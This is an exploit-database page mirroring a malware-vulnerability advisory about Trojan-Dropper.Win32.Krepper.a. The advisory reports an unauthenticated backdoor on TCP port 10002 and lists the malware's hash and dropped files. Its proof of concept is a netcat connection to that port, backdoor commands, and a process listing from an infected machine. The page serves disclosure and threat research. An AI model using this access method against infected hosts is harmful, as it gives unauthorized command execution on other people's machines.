Advertisement






Trojan-Dropper.Win32.Krepper.a / Unauthenticated Remote Command Execution

CVE Category Price Severity
N/A CWE-XX N/A Critical
Author Risk Exploitation Type Date
Unknown High Remote 2021-06-24
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.1495 0.787156

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060130

Below is a copy:

Trojan-Dropper.Win32.Krepper.a / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ee699b4055c6199f9826681797d64f0b.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Krepper.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 10002 and drops several executables under Windows dir. Third-party attackers who can reach infected systems can connect to port 10002 and run commands made available by the backdoor to retrieve information etc
Type: PE32
MD5: ee699b4055c6199f9826681797d64f0b
Vuln ID: MVID-2021-0260
Dropped files: svchost.exe, sysini.ini, msto32.dll, mserv.exe 
Disclosure: 06/23/2021

Exploit/PoC:
nc64.exe x.x.x.x 10002
C:\WINDOWS
C:\WINDOWS\system32

PROC
[System Process]
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
fontdrvhost.exe
fontdrvhost.exe
svchost.exe
svchost.exe
dwm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
Memory Compression
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
svchost.exe
WmiPrvSE.exe
dasHost.exe
svchost.exe
svchost.exe
etc...


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.